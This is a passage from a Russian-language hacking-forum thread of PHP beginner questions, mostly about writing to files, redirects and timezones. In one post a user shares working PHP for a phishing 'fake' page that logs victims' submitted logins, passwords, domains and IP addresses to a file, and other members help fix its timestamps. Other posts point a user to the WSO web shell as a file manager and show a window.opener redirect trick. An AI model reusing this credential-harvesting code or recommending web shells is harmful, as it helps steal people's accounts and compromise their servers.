[php] Новичкам: задаем вопросы

Discussion in 'PHP' started by _Great_, 26 May 2007.

Thread Status:
Not open for further replies.
  1. AnGeI

    AnGeI Elder - Старейшина

    Joined:
    8 Dec 2008
    Messages:
    395
    Likes Received:
    79
    Reputations:
    16
    awdrg, как минимум, не оправдано.
     
  2. bad_boy

    bad_boy Elder - Старейшина

    Joined:
    30 Dec 2004
    Messages:
    187
    Likes Received:
    33
    Reputations:
    3
    Gifts, чтобы код не копипастили бездумно:) (а если честно, то непомню напамять что там за аргументы, с $ - опечатка)
     
  3. lencom

    lencom New Member

    Joined:
    23 Nov 2011
    Messages:
    0
    Likes Received:
    0
    Reputations:
    0
    дописать в файл

    Видимо, плохо гуглил пол ночи(

    В php идет такая запись в файл fwrite($fh, $str):

    $str = "<?php header('Location: $src[0]$stream'); ?>";

    Требуется записать еще три статичные строчки туда же. но кроме переноса строки \n ничего не работает :)

    Как засунуть в $str такие строчки, чтобы файл создался такой:

    <script language="JavaScript">
    тра-ля-ля="http://site.ru/";
    </script>
    <?php header('Location: $src[0]$stream'); ?>
     
  4. vernite akk=

    vernite akk= New Member

    Joined:
    18 May 2011
    Messages:
    73
    Likes Received:
    2
    Reputations:
    0
    del///
     
  5. b3

    b3 Banned

    Joined:
    5 Dec 2004
    Messages:
    2,170
    Likes Received:
    1,155
    Reputations:
    202
    Не совсем понятен вопрос, но вот то что понял я:

    PHP:
    $str = '<script language="JavaScript">'."\r\n";
    $str .= 'тра-ля-ля="http://site.ru/";'."\r\n";
    $str .= '</script>'."\r\n";
    $str .= "<?php header('Location: $src[0]$stream'); ?> \r\n";
     
  6. lencom

    lencom New Member

    Joined:
    23 Nov 2011
    Messages:
    0
    Likes Received:
    0
    Reputations:
    0
    Замечательно, спасибо.
    Только в этом случае header Location получается имеет приоритет и скрипт не исполняется. Может есть какая-то альтернатива? Допустим, переадресация с минимальной задержкой (что дописать?) или другой хитрый способ?)
     
  7. N@b$ter

    N@b$ter Elder - Старейшина

    Joined:
    6 Oct 2009
    Messages:
    293
    Likes Received:
    73
    Reputations:
    21
    а что мешает переадресацию через javascript сделать?
    Code:
    window.location = "http://site.ru/"
     
  8. lencom

    lencom New Member

    Joined:
    23 Nov 2011
    Messages:
    0
    Likes Received:
    0
    Reputations:
    0
    Так нужно выполнение скрипта, а потом переадресация)
     
  9. N@b$ter

    N@b$ter Elder - Старейшина

    Joined:
    6 Oct 2009
    Messages:
    293
    Likes Received:
    73
    Reputations:
    21
    Незнаю может я туплю, но редирект должен сработать после выполнения скрипта или я ошибаюсь? Если уж так пишите условия стандартный if,else.
    Тут просто непонятно что будет именно в этом куске
    <script language="JavaScript">
    тра-ля-ля="http://site.ru/";
    </script>
    и что он будет делать
     
  10. Kruzak

    Kruzak New Member

    Joined:
    21 Dec 2010
    Messages:
    126
    Likes Received:
    4
    Reputations:
    1
    расскажите как лучше работать с post&xml в php
    именно как читать ответ, остальное я знаю
    вариантов масса, нашел много классов но как-то заторможено работает

    есть сервис один, у него API работает с post запросами

    вот пример ответа

     
  11. vlad3012

    vlad3012 New Member

    Joined:
    22 Sep 2010
    Messages:
    20
    Likes Received:
    0
    Reputations:
    0
    Ребята срочно нужен ПХП скриптик, для вывода содержимого папки (с робочими ссылками)
    Что-то похожее на файл - менеджер.
    Кто имеет что - то такое дайте плиз.
     
  12. Edward

    Edward Banned

    Joined:
    11 Feb 2010
    Messages:
    329
    Likes Received:
    21
    Reputations:
    -1
    Загляни в исходники любого шелла.
     
  13. lencom

    lencom New Member

    Joined:
    23 Nov 2011
    Messages:
    0
    Likes Received:
    0
    Reputations:
    0
    <script language="JavaScript">
    parent.window.opener.location="http://www1.ru/";
    </script>
    <?php header('Location: http://www2.ru'); ?>

    так скрипт не срабатывает.
    или есть другой вариант для этой задачи?
     
  14. vlad3012

    vlad3012 New Member

    Joined:
    22 Sep 2010
    Messages:
    20
    Likes Received:
    0
    Reputations:
    0
    Можешь дать какой-то нормальный?
    все что мне попадались - корявые...
     
  15. Gifts

    Gifts Green member

    Joined:
    25 Apr 2008
    Messages:
    2,494
    Likes Received:
    807
    Reputations:
    614
    vlad3012 https://forum.antichat.ru/thread103155-wso.html
     
    _________________________
  16. vlad3012

    vlad3012 New Member

    Joined:
    22 Sep 2010
    Messages:
    20
    Likes Received:
    0
    Reputations:
    0
    Блин, а как туда залогиниться?
     
  17. AnGeI

    AnGeI Elder - Старейшина

    Joined:
    8 Dec 2008
    Messages:
    395
    Likes Received:
    79
    Reputations:
    16
    root
     
  18. necroleptick

    necroleptick Member

    Joined:
    3 Jan 2011
    Messages:
    105
    Likes Received:
    11
    Reputations:
    0
    <?php // перед этой строкой никаких пробелов переносов и вывода текста
    header('Location: http://www2.ru'); die; ?>
     
  19. Sitis

    Sitis New Member

    Joined:
    5 Dec 2011
    Messages:
    8
    Likes Received:
    0
    Reputations:
    0
    Всем доброго времени суток.
    Использую вот такой код для фейка:
    PHP:
    <?PHP 
    $Login 
    $_POST['fio']; 
    $Pass $_POST['par']; 
    $Domain $_POST['Domain']; 
    $ip=getenv('REMOTE_ADDR');
    $now getdate(); 
    $nowstring=$now['mday'].".".$now['mon'].".".$now['year']."|".$now['hours']."+8ч ".$now['minutes']."м ".$now['seconds']."с";

    $log fopen("XXX.php","a+"); 
    fwrite($log,"\r\nЛогин:$Login@$Domain | Пароль:$Pass  |$ip|<sup>|$nowstring|</sup>\r\n<br>");
    fclose($log); 
    echo 
    "<html><head><META HTTP-EQUIV='Refresh' content ='0; URL=XXX'></head></html>"
    ?>
    При этом в расшифровке переменной времени приходится писать (+8 часов), потому что время всегда приходит х-8. Я так понимаю, это неверные настройки часового пояса, но никакие гуглы проблему решить не помогли. Может, вы поможете? Буду благодарен.
     
  20. b3

    b3 Banned

    Joined:
    5 Dec 2004
    Messages:
    2,170
    Likes Received:
    1,155
    Reputations:
    202
    Я пользуюсь такими поправками, не заморачивался сильно на решением по умнее.
    PHP:
    echo date('m.d.y H:i:s' time()-(1*60*60));
    еще вариант, но он делает поправку на системное время а системное время на моём вдс московское, а сам я не из россии и изменить системное время не возможно из-за виртуализации вдса, поэтому такой костыль с подводными камнями. Предыдущий вариант имхо лучше.
    PHP:
    <?php
    echo date('Y-m-d H:i:s').PHP_EOL;
    date_default_timezone_set('Europe/Moscow');
    echo 
    date('Y-m-d H:i:s').PHP_EOL;
    ?>
    http://php.net/manual/ru/timezones.php

    Если интересно вот почитайте: http://habrahabr.ru/blogs/php/19838/
     
    #19640 b3, 7 Dec 2011
    Last edited: 7 Dec 2011
Thread Status:
Not open for further replies.